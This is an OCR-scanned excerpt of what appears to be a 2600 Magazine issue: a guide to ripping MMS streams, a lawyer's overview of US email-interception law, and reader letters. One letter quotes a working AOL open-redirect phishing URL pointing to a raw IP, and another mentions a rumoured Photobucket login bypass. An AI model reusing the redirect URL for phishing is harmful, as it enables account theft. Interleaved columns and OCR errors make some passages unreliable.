Monkey" to do? As real hackers we solve problems, while
The basic evil of today's Internet is more the law and politicians only make matters
than just Microsoft - the "middle-class OS.” worse. A technical solution to every problem
IM, spam, spyware, worms, Trojans, social on the net is in order. Put very simply: Hasta
networks online, and much more are directly la vista, pretenders! Stop crying and get
a result of people and their dumbed-down hacking,
“O8.” Far deeper, the root of these evils truly Bill Squire to this day works with anything
have been with us longer than most people technical. Don't call him a “consultant.”
have known about the Internet. In 1989  That will insult him. He likes to travel long
we got IRC, an improved form of the silly distances: in the winter to “warmer places”
“Compuserve CB” (talk). It was fine until it and in the summer he prefers a more tech-
died a strange death around 1994. Today nologically-oriented tour. There are always so
we have “social online networks,” making many people to meet.
IRC one of the more tame computer games,

Ripping MMS

by EvilBrak you have a direct link to the stream and you
evilbrak@yahoo.com won't have to navigate through the website

Microsoft has been very anal when it to getto it.
comes to streaming media and has released Next, open up SDP and click on Open.

little information on their streaming In the box that pops up, paste the URL of
protocol, MMS (Microsoft Media Server). the ASX file. If you saved the ASX file, then
Ripping streams is straightforward but time either paste the path or browse to it. Click on
consuming. All you need is Windows Media  OK and the playlist will open up in the URL's
Player (called WMP from now on), a program  combobox. Select the file you wish to down-
called SOP Multimedia (downloadable from  |oad, then click on Go. Choose where you
http://sdp.ppona.com/), and the location of want the file to be saved. SDP saves audio
the stream you want to download. in ASF format and video in WMV format.
First, what you need to do is get the URL  If you wish to convert to a different format
of the stream's ASX file. Gelting access to  (e.g., MP3 and MPG) then Google around for
the URL differs depending on which site the  converters. There are plenty to choose from.
stream is on. Most sites embed the video SDP will download the stream as it plays
into the web page itself. Look for a “Launch  and therefore a prerecorded ten minute video
External Player” button somewhere on the will take roughly ten minutes to download,
page; usually this will open a new browser  depending on server load. Live streams down-
window with the URL of the ASX file or it'll  |oad at the same rate as prerecorded streams
open up WMP (the URL of the file can be but will continue downloading until you
found in the playlist). If there is no “Launch  click on Abort. You can listen to or watch the
External Player” button, then view the source  stream while you download by clicking on
of the page and look for the URL to the ASX  Preview. Another feature of SDP is the VCR.
file. Once you have the URL, copy and paste  You can set start and stop times to record
it into SDP. If you like you can save the ASX  your live stream. For example, my local radio
file to your computer. This is helpful since station has its own stream and if | like | can set
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Email?

lex@successfulseasons.com

I've given a few talks at hacker conferences
and there are a lot of misconceptions about
the laws that govern what we can and can't
do. While most legal issues are discussed in
articles longer than an entire copy of 2600,
I'd like to give a quick overview on reading
email - can you read other people's, and who
can read yours?

Note: this is not legal advice. While | am
an attorney, I'm not your attorney. I'm going
to talk about U.S. Federal law, namely the
Stored Communications Act and the Wiretap
Act. Many U.S. states have their own laws
on this topic that mirror Federal law or work
slightly differently, Other countries have their
own laws, and it seems that the U.S. govern-
ment doesn't even follow their own. If you
have any questions about specific facts or

our own case, contact an attorney. That said,
et's have some fun.

The Stored Communications Act (SCA)
bars unauthorized people from intentionally
accessing an “electronic communication
service facility.” It also prohibits authorized
users from exceeding their granted access
and obtaining, altering, or preventing the
delivery of another's electronic communica-
tion (EC) that is in storage. There's a second

Who are you?

Intended recipient
Inadvertent recipient
Intentional recipient
Email provider (public)
Email provider (private)
Police

Yours

Someone else's
Someone else's
User's

User's

Someone else's

(1). The intended recipient can always
read their own stuff, at least under the SCA.

(2) If you get an incorrectly addressed
email, or if your email system misroutes
someone else's email to you, you're OK, as
long as you didn't do anything to get that

Whose EC are you looking at?

set of laws, commonly known as the Wiretap
Act or the Electronic Communications Privacy
Act (ECPA) that deal with EC in transit.

“Storage” here is what attorneys call a
“term of art,” which means that it doesn't
mean what you think it means, Storage under
the SCA includes any time the EC stops, even
for a microsecond. Consider this hypothet-
ical: | email this article to 2600. My email
server holds onto the email while it figures
out how to route it. It's in storage, if only for
a tenth of a second, so it's covered by the
SCA. The email server breaks it into packets
and sends it to its upstream router. Now the
packets are “in transit” until they make it to
the router, The packets are in storage when in
the router's memary. They're also in storage if
| have my email client save sent mail.

Yup, “EC" is a vague term too. Since ECs
aren't defined by the SCA, any new method of
digital communication is likely to be covered.
Messages on BBSes, web forums, email, IMs,
pages, and cel] phone text messages have
already been ruled to be covered by the
SCA.

Since the outcome of many legal issues
depends on who you are and what you're
doling to whom, the following chart should
help.

Am I OK?
Yup (1)

Yup (2)

Hope {3)
Maybe(4)
Maybe(5)
Maybe(6)

email. Mind you, if you asked someone else
to get you the email, and neither of you are
authorized to see it, it's not inadvertent .

(3) If you intentionally exceed your granted
permissions and access or modify someone
else’s EC without their permission or prevent
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(them from getting it, you've violated the SCA
and are potentially up to one year in prison
and fines, or five years if you do it for profit or
“malicious destruction”. Here’s the fun part:
The law isn't quite sure what “exceeds autho-
rized access” means yet.

(4), (5) A provider of an "electronic commu-
nications service" or their workers can look at
ECs stored on their systems. Providers who
offer their service to the public, such as ISPs
or cell phone companies can't divulge the
contents of ECs, except to deliver the message
to the recipient, or when served with a valid
subpoena or search warrant . Also, a public
provider may forward an EC to the police if
they believe it contains an imminent threat of
serious physical harm to another, and that the
provider inadvertently noticed the threat.

A private provider, such as a university or
business that offers email anly to their workers
may be able to divulge the contents of emails if
they want to. It's a gray area, which is why lots
of employers make you sign a release when
they give you an account on their systems.
Ihat way they're protected either way.

(6) The police can acquire the contents
of ECs with a valid search warrant, which
requires that there is Probab[e cause that the
emails are evidence of a crime. The police can
also read ECs if the recipient allows them.

So what exactly is a “provider” under
these laws? While it's not explicitly defined
in the law, the common law system (what the
LS. uses) allows judﬁf to look at previous
court cases to guide them. So far, if you own
the service and decide if others get to use it,
you're a provider. So if you run a linux box
and give your friends or employees mail
accounts, you're a provider. If you let anyone
use the system for a fee, you may be a “public
provider.”

What About Sniffing?

What happens if you don't get their
communications from storage, but sniff it from
the wire or from wireless? In most states, the
SCA no longer concerns you. However, the
Wiretap Act does come into play. Intercepting
ECs without authorization by the recipient or
law may result in up to five years imprison-
ment, open you up to civil suit by the victims,
and a fine. The “authorizations under law” is
an interesting lisi. You can look at £Cs on the
network if you:

1.  Get permission from the recipient of
the EC.

2.  Are the intended recipient of the
EC.

2 Are
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intercepting  transmissions

intended for the general public, persons-,\
ships, or aircraft in distress, police/fire/lerner-
gency, CB band, or amateur radio. Note:
encrypted transmissions are not considered
“for the public”.

4.  Are investigating a source of
“harmful interference” to authorized radio or
consurner electronics, as long as the intercep-
tion is only to determine the source.

5.  Are an employee of the FCC if inter-
cepting EC is within their job description.

6. Are a provider of an electronic
communication service and the interception
is:

a. Necessary to provide the service or

b. Necessary to protect the rights or prop-
erty of the service or

c. To comply with a court order or wiretap
warrant.

d. Employees of the above can be protected
under the “provider” exception if the inter-
ception is within their job description.

There's some other stuff about allowing
the President (and his employees) to conduct
foreign intelligence, but what that means isn't
going to get figured out for a while.

What's interesting is that “providers” are
allowed to do a lot more with ECs when
they're in storage than when they're being
transmitted. That may be changing soon.
There's a recent court ruling that seems to
limit what providers can do with ECs on their
systems,

To Recap

You can read your own mail. If someone
sends you stuff by mistake, you can read it. If
you break into someone else’s server, you're
in trouble. If you're allowed in the server, but
get root by some nefarious means, or guess
your ex-girlfriend’s Hotmail password to read
their mail, you're in trouble. If you want to test
out a sniffer, get permission from the owner of
the network.

There are some gray areas in the law, such
as who can grant permission to view ECs and
what constitutes permission. Does letting a user
sudo grant permission to read other peop le's
stuff? If | give my roat login to someone else
and they read your email, did | grant permis-
sion to do it? All these are interesting ques-
tions and they haven’t been answered by the
counts yel. Of course, every one of these gues-
tions will have to be answered by a real case,
with victims and defendants. Nobody wants
to be a test case.

Be careful out there. If you do get busted
or sued, keep your mouth shut and talk to a
lawyer.
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nippets

Queries

Dear 2600:

| have some observations that | would like to
submit for your approval and potential publica-
tian. After naticing the “Writers Wanted” text black
on Page 50 of 23:3, | have decided it is my time to
contribute to the cause,

Most of the material that | have is based upon my
work. | am presently a contract telecommunications
technician with experience in carrier-class transport,
some switching, data networks, and access devices.
Prior to this 1 worked as lead technician for an
avionics center where | dealt with several prominent
enlities in aerospace.

My concern comes for both my safety, the secu-
rity of my customers, and the future of my career
Can | write in anonymously? Does 2600 Magazine
pratect its writers?

Name Deleted

Assuming that was your real name that you
signed your letter with, we'll start by encouraging
you (o protect your identity at the source. We always
honor the requests of our contributors with regards
to identification and it is our policy not to reveal any
of our writers’ personal information without their
express permission. That said, we all must recognize
that there are potential risks whenever mail is sent
with identifying information which can be anything
from the return address to information inadvertently
included in the article which can lead people to
figure out who you are, particularly those in your
organization who may be trying to find the source
of a leak. So for those readers who worry about this
sort of thing, we advise caution with regards to any
personal information that may be referenced in the
article (focations, encounters with other people,
etc.) and details which could be gleaned from either
the email address itself or from the fact that someone
used their internal corporale address to send maif to
someone at 2600. Often just the fact that contact
was made is enough to raise questions. Even without
knowing the contents of the email that user@evil-
empire.mil sent to articles@2600.com, you can bet
the powers that be will be keeping a close eye on
the sender and preparing his interrogation chamber.
5o the short answer is that we will do everything
possible to protect your identity. But you must also

exhibit a good degree of caution if you want to
preserve your anonymity.

Dear 2600:

Sometimes | want to send an anonymous email
to various media organizations and | want to make
sure I'm being very anonymous. What | would do is
go find an insecure wireless network, like at a coffee
shop for example, and connect to it with my laptop.
| would open up Firefox and make sure that all of
my web traffic went through Tor (I would use the
FoxyProxy extension for Firefox, with Firefox, Tor,
and Privoxy installed on an Ubuntu system). | would
then surf my way over to hushmail.com and create a
new account. | would choose Hushmail because not
only are they a privacy organization and are unlikely
to share any of my user information if asked (and in
fact, according to their website, they don't actually
know any of my user information without my pass-
phrase because of the way it gets hashed), but also
because it has an SSL certificate and it just makes
me feel safer, even if my traffic is going through Tor.
Then | would log in, email my message to the media,
and log out. Then | would clear all the private data
in Firefox (my cache, history, cookies, etc.). | would
securely delete all files involved with the message on
my computer (I use the wipe package). All the while,
I'd make sure no one was looking over my shoulder.
Then | would turn off my computer and leave.

Are there any holes? Is there anything further |
should be doing? | wouldn't spoof my MAC address
because my wireless card doesn't allow it, but it
seems like that wouldn't even be necessary. Or is
it? Would it be worth buying a new wireless card?
Is there any possible way that | could get tracked,
by local police, feds, Homeland Security agents,
members of the media, or anyone else?

A. Saboteur

We can say with assurance that the media lacks
the skiffs to do much beyond resolving an IP found
in the headers of your email. If you really want
to test your system, sending a threat to the White
House or announcing the grand opening of a new al
Qaeda chapter would get far more talented people
involved in the challenge. (We really don't suggest
this method.) Our readers can most certainly help
find any potential holes in your scheme. The one

we would point out is the danger of using the same
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@r‘.’ address for other communications since more
identifying information might be found if someone
were to somehow find multiple messages from the
«ume address, particularly any to a public forum.

Dear 2600:

In issue 23:4, | think vyxenangel's statements are
4 little misleading. In the movie Hackers, the char-
acters in the film talk about a "rightous hack” on a
Cibson and "not any of this accidental shit." The film
has very good visual effects but you don't learn a
thing about hacking. The subway defense system |
thought was good. It was used by a young Angelina
Jolie, who played a hacker called Acid Burn. Don't
try this at home.

My question is: In the film, the cover of your
magazine appears in a scene. Do you know which
issue they used in the movie?

mr.bitworth
We were hoping you could tell us since you've
ohviously seen it somewhat recently. You can find a
wll list of our covers on our website. It’s most likely
one of the 1994 covers and was used in the car
wene where one law enforcement agent is reading
lines from the famous “Hacker Manifesto” by The
Mentor, which, by the way, never actually appeared
i our magazine. As for the original fetter, we believe
1 degree of sarcasm was part of the overall theme.

Dear 2600:

Twice now | have opened my cell phone to
wee | have a voice mail and when | connect to my
mailbox and play it, | only hear music. No voice,
and my phone doesn't say | missed a call. | played
the music for ten minutes the first time and it didn't
stap, though it looped. | have Verizon service. Can
anyone tell me what on Earth is going on?

Someone is calling you and playing music. It
happens. Sounds to us like you're getting some sort
i telemarketing call where they don't have enough

iperators so they actually place people on hold when
alling them. It could be something else though,
ke someone really trying to waste your time and
urceeding in wasting their own. The fact that your
phone doesn’t ring could be because of a number
i reasons, including flaky service or someone
lialing directly into your voice mail greeting to avoid
unging your phone. You should also be able to get
cnvelope information in the voice mail message that
may reveal an originating phone number. If there are
sher possibilities, we will no doubt hear of them
lrom our readers.

Dear 2600:

| was wondering if any readers or if anyone over
11 2600 has heard of the new "Photobucket Login®
rxploit. Apparently the exploit has the ability to turn
a0y Photobucket account into a "guest” account.
What this means is that upon the login screen you
wouldn't need the root password. All you would
type into the password hox is the word "guest” and,
boom, you now have "read only" privileges to the

once password-protected account. How does this)
wark? And who has heard of it?
The Laguna
We're not familiar with it but this really sounds
a hit too simple to nat be intentional or completely
untrue.

Dear 2600:

I wrote one an article in January 2007 but | wrote
it in Spanish. | can translate it but it won't be any
better than if you translate it. So | propose to send it
to you in Spanish and you can translate it.

Victor

You have a frightening amount of faith in our
abhilities, Even if we did have the skills needed to do
this (and we dont), there simply isn't enough time to
translate languages on top of all of the other editing
tasks involved in a typical issue. That said, we would
be thrilled if someone could figure out a system of
translating submissions to us so that more people
from around the world could submit articles. Unitil
that happens, you're best off translating it as best
you can. Your grammar and spelling will probably
come out better than that of many native English
speakers.

Dear 2600:

Are aricles for 2600 still accepted at
articles®2600.com and is a lifetime subscription to
the magazine still offered if the article is used?

d

That's our address but we never offered a lifetirne
subscription for articles. You get a year and a shirt if
it’s used. If the article is particularly in depth, then
you get two years and two shirts. Years can also be
applied to back issues.

Info

Dear 2600:

lam a long time listener and magazine subscriber,
Listening to and reading your recent election and e-
voting stories made me think | should let you know
how it works here in Australia.

If you are barn here and go to school like normal
then when you turn 18 you are automatically added
to the local electoral roll and sent a letter to confirm
this, outlining your responsibility to vote and also
outlining the penalties for not voting, You then turn
up at the local voting booth on Election Day, always
a Saturday from 8 to 6 at the local schools. You walk
in through a few spruikers handing out how-to-vote
cards for different parties and mosey on over to a
desk (if you get there at the right time when there
is no queue). They ask you your name and address,
they ask if you have voted already today, they never
ask for any 10, then the nice volunteer crosses your
name out and hands you the voting papers. You get
two papers: a large white ane (last election this was
two feet wide) and a small green one around the size
of a 2600 Magazine. You take your papers over to a
cardboard booth and fill them out a little awkward Iy,
then fold them up into a square and pop them into )
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r’_ | appreciate your efforts in trying to aid family/
friends of the incarcerated. It almost reminds me of
what it's like to be amongst people again.

Thank you 2600 for your notice of the need for
change. Most people would sooner forget about us
and our friends and families than help speak out
about injustices we endure.

SN

In recent months there has finally been attention
given to the horribly unfair telephone rates forced on
prisoners and their families. We have a very unhealthy
attitude of forgetting about our incarcerated citizens
and, in fact, treating them as if they were subhuman,
regardless of the actual circumstances behind their
imprisonment. As more and more of us are found
guilty of one thing or another, this mentality is really
going to wind up biting us in the ass.

Stories

Dear 2600:

My boss is a "sysadmin® in our department.
Unfortunately, I'm the “assistant." | would like to
share this short but funny story, | was browsing
around his files on the network the other day, which
he hasn't restricted access to, and found a very short
document detailing the implications of unauthor-
ized access to our only UNIX server using the root
account.

The document is so short it is funny. My boss
knows zero about UNIX, and it appears he thinks no
one else does either! Here are his statements:

"Root cannot be accessed remotely, you need
to be in front of the server." (A modem is hooked
up to the server and is clearly visible). “To do any
damage on the UNIX server using the root account,
you would need a good understanding of UNIX.*

Anyway, keep up the great work with the mag,
Off The Hook, and Off The Wall.

brill (England)

It’s not hard to see how someone could reach
these conclusions. Lots of servers dont permit
remote logins to root. But of course you can stll
become root remotely in a number of different ways,
authorized and unauthorized. Not knowing this may
give someone a false sense of security. But it’s a lot
harder to figure out how someone could think that
you can only screw something up by having a good
understanding of it. If anything, the opposite is true.

Dear 2600:

A few months ago | wandered into a Cingular
retail location and wanted to find out how much
information about my account they had access to.
I acted as if | wanted to pay my bill and had some
other questions about my account. | told one of the
sales reps my cell number and he punched it into
the computer and up came all of my info, including
my address, date of birth, last four digits of my Social
Security Number, and call history. | watched the
screen as he looked at my account. Unfortunately,
the rep didn't even know who | was since he didn't
st me to identify myself nor did he ask for the pass-

code | explicitly told Cingular to put on the account’}
when | first got service. More astonishingly, the pass-
code was displayed in plaintext on the computer
screen in red color! | assume he was supposed to
ask me to confirm it. Oops.

Disturbed by this, | next went to one of the
Cingular franchise stores instead of a corporate store
like the first one. Again, | simply said | had some
questions about my account, gave the woman my
cell number, and she pulled up the record and |
allowed me to look at it. She didn't ask who | was or |
confirm any account information or the passcode.
The only difference was the look of the web-based
application she was using, and the fact that she did
ask for my zip code when she first punched in the
cell number. Recently | found out that the franchise
stores now need to put in the last four digits of the
S5N to access the account. Still, the passcode is
displayed in red for them to see.

I'm really disappointed to see this easy avail-
ability of my cell phone records, especially after the |
scandal last year in which anyone could pay $100
to get a call history through pretexting. | didn't even
have to pretext to get this info. | could've been anyone
going into the stores and giving them any phone
number since they didn't verify my identity. Then |
could've called customer support with the passcode
that | could see onscreen and do whatever | wanted.
The big question is why does an in-store sales rep
even need access 1o accounts that have already been
set up? Their job is to sell and activate new phones.
They could still accept bill payments without having
access fo existing customer accounis. Allowing ins
store sales reps to have account access is much less
secure than having that info available only in a call
center. For one, the interaction isn't being recorded,
and the store reps are open lo bribing, whereas call
center reps are much less likely to be able to accept
bribes due to logistical reasons.

On the Cingular webpage they state:

*As you may have read or seen in the media, a
number of websites are advertising the availability
for sale of wireless phone records. Please know that
Cingular Wireless does not sell customer information |
to, or otherwise cooperate with, these companies, |
and we are working aggressively to combat their
practices.... Cingular is supporting efforts to crimi~
nalize the unauthorized acquisition or sale of wireless
phone records. In addition, Cingular has a variety of
safeguards in place to protect against unauthorized
access to customer information, and we continue (0.
evaluate and enhance these safeguards. If you wish
to better protect your account from unauthorized
access, contact us at 1-866-CINGULAR ( 1-866-246-
4852) and ask that a passcode be placed on your
account.”

Well, they can start the criminal investigation
with their own in-store sales people.

As a side note, | also saw a small colored graph
of some kind on my account's main page, which
indicated how much revenue | brought in relative
to other customers. | asked the rep what it was and
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(that's when he got uptight and said | wasn't even
supposed to be looking at the computer. | guess this
graph tells call center reps how valuable | am as a
customer.

Dave

As long as there are human beings in the equa-

tion, security holes like this are going to exist in one

form or another. Education, not automation, is the
answer.

Dear 2600:
| am 18 years old and have been a reader for
many years, There aren't any meeting places close
to me so | have never been able to attend. Today |
received my letter of acceptance to the University
of Florida. When | was reading the meeting place
page | was really excited when | saw that there is a
meeting on the UF campus. Now | can't wait until
August. Thanks for such a great read!
Kevin

Many college applicants choose their college
based on whether or net there’s a 2600 meeting
nearby. It makes perfect sense to us,

Dear 2600:

| recently renewed a domain name. | called
the company instead of dealing with it online due
to complications that | won't go into. | received a
teller who was located in the Philippines. | ended up
calling this company three times. The first and last
calls were dealt with through the Philippines office
and the second call was through a main office in
Pennsylvania.

The domain name was o be paid for by an author
| work with. The teller in Pennsylvania wanted to
speak with the author in order for the renewal to
be processed whereas the teller in the Philippines
bypassed this and simply called me with the number
they had on record to verify | was affiliated with the
account on record after | answered the phone.

The number they had on record was for a land
line account that forwards calls to my mobile. |
found this an interesting mini-system that verified
trust between myself and this lady in the Philip-
pines. It also showed me (as I've experienced many
times before with telecommunications companies)
the policy inconsistencies within the same company
scattered around regions from one side of the planet
to the other,

Somehow in some bizarre way this relates to
why 1 get so many requests from Philippine girls at
Friendster, which is why | even bother keeping the
account open!

1z

Danger

Dear 2600:

| recently received an email that was an obvious
phishing attempt. The email asked me to log into
my Neteller account. The problem is, | don't have
a Neteller account. I've received many of these
types of emails in the past asking me to log into my

account with a company | don't have an accwr:t\
with, but this one was different. | inspected the link
that was sent in the email. | was surprised to see
that the link started with www.aol.com. Many users
unfamiliar with phishing might lose their account in
this type of phishing attempt because of the famili ar
www.aol.com address. This phishing attempt uses a
redirect feature conveniently provided by AOL. At
this time | am unable to explain the extensive use of
numbers and commas.
http://www.aol.com/ams/
clickThruRedirect.adp?1073762100,214
7779757%D72147568413,httpsa://202.143
.132.179/www.neteller.com/index.html

As of this writing the AOL redirect is still working.
Simply change the link after the last comma and you
can redirect to any page you like.

So, you ask, what is the problem? The proble m
comes when a malicious user wants to phish for
AOL accounts. If a malicious user sets up an AQ L-
type login page, this type of attack could be very
successful,

| emailed admin®aol.com regarding this issue
and, as expected, received no response. Hopeful ly
by providing the information to the masses the secu-
rity issue will eventually be resolved.

dNighht

Dear 2600:

I'm not exactly sure if this letter is relevant. But
I thought this was so stupid | had to mention it..
Congress is trying to pass a law called the Animal
Enterprise Terrorism Act (AETA) and it has one very
very very serious problem. If this law were to pass
it would make legal activities such as peaceful
prolests, consumer boycolts, media campaigns,
legislative proposals, or even telling the public what
happens in puppy mills, factory farms, or canned
hunting facilities, able to be classified as acts of
terrorism. Whatever happened to free speech? The
right of peaceful protest? Sure, this really has nothing
to do with hacking. But it does deal with suppression
of our basic rights. So | thought I'd write in a small
letter about it because | believed if anyone would be
open minded enough to care, they'd probably read
this magazine.

ch3rry

This was signed into law on November 27, 2006.
Regardless of whether you believe that this will crirm-
inalize free speech or whistleblowing, it seems a bit
of a reach to inject the word “terrorism” into this
topic. That right there should have been enough eo
derail this.

Weirdness

Dear 2600:

Has anyone else received anything like this? It
appears to be some sort of garbled rant about tech-
nology... but the attached image [mutually.gifl at
the bottom has maku.ob on it... which is the trading
symbol for makeup.comlimited. | am guessing this is

just a way to bypass spam filters. Any thoughts? y
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{ Dear 2600:

"How to Get Around Cable/DSL Lockdowns" in
23:4 is mostly on the right track - you can indeed
send SMTP from your ISP-hosted e-mail account
through your home machine while on the roam
using the method described (for most cable/DSL
providers). You may even have good results in the
short term. However, | wouldn't recommend it as a
reliable long-term methaod for three reasons:

1) While it's true that many ISPs block inbound
connections to port 25 of their dynamic subscriber
IP pool, it's also true that (increasingly) many of
them also block outbound connections from their
dynamic IP pool to port 25 of remote hosts other
than the ISP's SMTP servers. What that means is that
your home SMTP server may or may not be able to
deliver mail to remote hosts, depending on whether
your ISP blocks those outbound connections, This
isn't because your ISP is run by totalitarian bastards
(although it may be); they're trying to keep spam
bots from using their (and your) bandwidth. Thank
them for this.

2) Most of the major spam filters out there (e.g.,
SpamAssassin) will assign a much higher score to
any message relayed from a dynamic IP address.
Most distributed spambot networks are running on
unsecured home computers with dynamic IPs. What
that means is that even if you think your message
has been delivered, the receiver's spam filter may
have dropped it on the floor because of the origi-
nating IP address. (This is true even if you're using a
dynamic DNS server to give yourself a tidy-looking
A record.)

3) On a related note, if you're sending from
youraddress@example.org and example.org has a
registered SPF record in DNS, your odds of getting
through spam filters are diminished still further.
As an example, ADELPHIA.NET has SPF set up as
follows:

§ dig adelphia.net txt

31 ANSWER SECTION:

adelphia.net. 41456 IN TXT "v=spfl mx
=ip4:68.168.78.0/24 ip4:68,168.75.
w0/24 -all"

What that means is that if you aren't in one of the
two [P blocks listed above, you aren't authorized to
send maif from *@adelphia.net, and any spam filter
that checks SPF (which is increasingly common) is
maore likely to score your message as spam. (Sadly,
Comcast just bought Adelphia, and it seems they
either haven't heard of SPF yet or they can't keep
track of their acquisitions fast enough to be bothered
to keep an up-to-date SPF record for COMCAST.
NET. See “totalitarian bastards" above.)

What to do? One of two things:

1) Configure your SMTP server to use one of your
ISP's SMTP servers as a smart host. (In your Microsoft
SMTP setup, go under Delivery > Advanced
and enter your cable/DSL provider's SMTP server as
your smart host. Do not check the box to attempt
direct delivery first.) You'll then be relaying through
your 15P's mail system and won't need to worry
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about any of the three things above. -3

2) Scrap the whole scheme and connect to your
I15P's webmail service over HTTPS. That's why it's
there,

Live long and hack on.

McViking

This raises a point among those of you who send
us email from wacky places. Please be sure to not do
something that’s likely to anger a spam filter because
there’s often little way for us to detect it. That means
avoiding the above, not using spam-like phrases
(“make money fast!”), or sending weird attachments
with no corresponding text.

Dear 2600:

| was kind of disappointed that | sent you a
high resolution picture of a payphone in Queens,
New York and haven't even received any type of
response,

Troy

We've been meaning to set up an auto-responder
on the payphones@2600.com address to acknowl-
edge receipt of submissions. But you should also
know that we're looking for foreign payphones and,
although Queens is the most multicultural county in
all of the United States, it doesn't qualify as foreign.
And there is certainly nothing exatic or mysterious
about Verizon.

Gratitude

Dear 2600:

As a listener to Off The Hook and subscriber to
2600, I've been aware for a long time of how helpful
you folks are. Recently | found another example
while looking at the web page of my girlfriend's
college:

“Need some assistance even quicker? Then you
can call the Help Desk at extension 2600 from on
campus, or from off campus at (800) xxx-xxxx, X
2600."

Glad you're there to help her out!

It would be fun to gather a list of the various
offices/people that different extension 2600s
connect to in various places. More fun if we can
inspire peaple in charge to always assign that exten-
sion to something interesting.

Dear 2600:

I am a 15-yearold sophomore high school
student. | am a very faithful and loyal reader of 2600
and | would like to let you know some things that
your magazine has accomplished in my life. When
1 was about 13 years old my father came to me and
said something along the lines of "Alex! | found
a ‘'hacker' magazine at Borders while looking at
some PC ones. | know you're interested in that kind
of stuff so | got it for you - here." | was absolutely
thrilled to actually see a magazine about my main
interest. Since then, your magazine has never failed
to inspire and mativate me. For example, | started to
tinker with electronic devices and use packet sniffers
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traget a better understanding of how Internet interac-
tion really works — all at the age of 14. | have gone so
far between these two to three years that I'm amazed
that it even happened. Since the 2600 writers
usually use technical language to such a degree, it
forces you to dig in and find out what they really
mean. This is exactly what | did and it turned out
to be a little humorous because your magazine was
a bit too advanced for a 14-year-old to understand.
| constantly read books and articles on computers
and, more specifically, hardware, networking, proto-
cols, packets, lockpicking, red boxing, etc. It has just
been such an extraordinary journey these years that
| felt compelled to write a letter to you guys praising
your efforts for freedom of the mind and individual,
privacy, and how we should never stop our thirst
for knowledge and our curiosity about the world
in general. | have learned much since my first copy
and | wanted to tell you guys to not stop whatever
you are doing. And yes, | do realize the hardships
we are going through today concerning the absolute
paranoia and abusiveness of the general public and
the government themselves about the mere word
“*hacker." So, all in all, thank you guys for doing such
a great job and keep it real.
Trd/\/ce
And after reading all of the various horror stories
involving parents, you must realize that you're quite
lucky to have a father who supports your curiasity.
We spend a lot of time pointing out the bad things
around us so its especially important to acknowdl-
edge the exceptions.

Thoughts

Dear 2600:

I've been reading your journal for about two
years. | am not a hacker, but probably could be with
some spare time and the right resources.

My interest is mainly in the philosophy of 2600
and its concern with privacy, computer users’ rights,
and the corporate machines that invade privacy
using services as a lure to log onto domains. Third
party tracking is, in my book, corporate hacking of
my personal computer. If | were doing the same to
Google as they appear to have the right to do to me,
| would in all probability be arrested. As a result, |
ignore whatever they spew at me as far as marketing
goes, partly because I'm vindictive, but more impor-
tantly because it isn't relevant to all my particular
circumstances, Thus, | believe, the desire to create
the big new crystal ball is a profoundly foaolish
idea, and the losers are small online retailers and
local services who think Google is helping. But is
it really?

We hear so much disinformation about every-
thing that marketing information about marketing is
merely propaganda. My prediction: online retail will
build, but will also destroy, sectors of the economy.
Is there a depression looming?

skoobedy

Dear 2600: ‘

First, let me get my nose brown here by saying
your magazine is excellent.

Now that that's out of the way, I'm a 44-year-
old male who did phreak back in the 1980s (us ing
950 numbers to call long distance BBSes) so I'm
not squeaky clean here, but that was a youthful
digression.

Having said that, | feel you are hypocrites. I'll
explain: You say that hacking (or using vulnerabili-
ties) in the system shouldn't be for gain. But in 23:2,
you printed a letter from Zenmaster who wanted
to know how to "hack into ‘Fastpass' machines”
at Disney World. Yet, two pages before, you had a
letter from feff who was replying to an earlier letter
to Jack whose father wouldn't let him subscribe to
2600 because of the word *hacking.” Jeff said to let
Jack's father read the magazine. If | was Jack's father
and saw the letter from Zenmaster, that would resin-
force my beliefs about hacking, thereby perpetuating
the myth about hackers being bad people. There are
a lot of closed minds out there. We need to open
them, not add dead bolts.

Computer Bandit

You generally don’t open closed minds by keeping
your mouth shut. And it would be wrong for us to
restrict knowledge and tell people not to ask certain
questions because there was no seemingly legitimate
reason for asking. As far as we're concerned, there
is always a legitimate reason: curiosity. And while
we're not kidding ourselves into believing that there
aren’t lots of people with ulterior motives who could
also benefit from such knowledge, if we help others
learn how things work were doing what we set out
to do. Some parents get that. Many, sadly, don't. But
we can't change who we are in order to appeal to
people who don't like who we are. There's too much
of that in our culture already.

Dear 2600:

For several months now, a company has been
running radio advertisements for their identity Theft
Protection Service (http://www.lifelock.
com). Presumably they contacl the major credit
bureaus and place a call first lock on obtaining
any new credit. This is all fine and dandy. As far as
I know you can contact them yourself and do the
same without trusting some third party company to
protect your personal information.

The commercial has some dude saying: "My
name is Blah Blah and my SSN is 123-45-6789..."
and goes on to have a testimonial from another
stating that they did not think the service would
amount to anything when one night they got a call
asking if they were applying for credit someplace.....

The problem | see is that obtaining credit is not
the only reason someone would want your iden-
tity. What about people seeking employment uncler
assumed names? As | see it nobody puts a lock on
what is reported to the IRS and Social Security.
Presumably those agencies can detect fraud hy
noticing the filings are either somehow incorrect
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(whese the name does not match the SSN and/or the

address is different. But what about intentional acts
intended to attack the individual? Let's say someone
looks up the dude’s address and verifies the name
and SSN match this guy, uses a valid taxpayer 1D
number for, let’s say their least loved company (i.e,
Walmart), and files a 1099 to the IRS, state treasury,
and his actual residence. How is this guy and the
target company going to prove this is an incorrect
filing? How would you feel if you received a 1099
that does not withhold any taxes stating that you had
earned $20 million this past year conlracting for a
company you didn't?
What 2 mess!
Exo
well likely get a whole lot of mail from accoun-
tants who will explain how this all works, We find the
Lifelock approach interesting. On their website, the
CFO of the company posts his real Social Security
Number as proof of how secure he fecls with their
product. It almost sounds fike a challenge..

Dear 2600:

This is a response to anybody out there who
thinks that hacking MySpace is a worthy pastime.
| ask what purpose is there in this? There isn't any
useful knowledge to be gained. As far as | can tell,
the only information about me that can be gleaned
by getting my password Is maybe a password, No
SSN, no financial credit. And also, why are they
using the portal pages? That was something | thought
about doing a long time ago when | didn't know
what ethical hacking was, or was just bored. If
people wanted to know more about MySpace, then
do it in a manner that doesn't bloat my bulletins with
sifly posts about free ringlones. My two cents,

psion

Anytime someone says there isn’t worthwhile
information to be found In pursuing something,
someone else always manages to come along and
prove them wrong. The fact is that any bit of infor-
mation we give up about ourselves is potentially a
gateway to a whole lot of other information, That’s
why protecting anything that’s private is so important
and if there’s a way of defeating this on any level, we
need to know about it.

Dear 2600:

| recently saw the following posted in MySpace:

“I just posted a bulletin about hackers hiding in
our pictures. | followed the directions in the bulletin
and found one picture that | had to delete. Here's the
deal: Hackers are getting into our picture galleries
and posting inappropriate pics behind our original
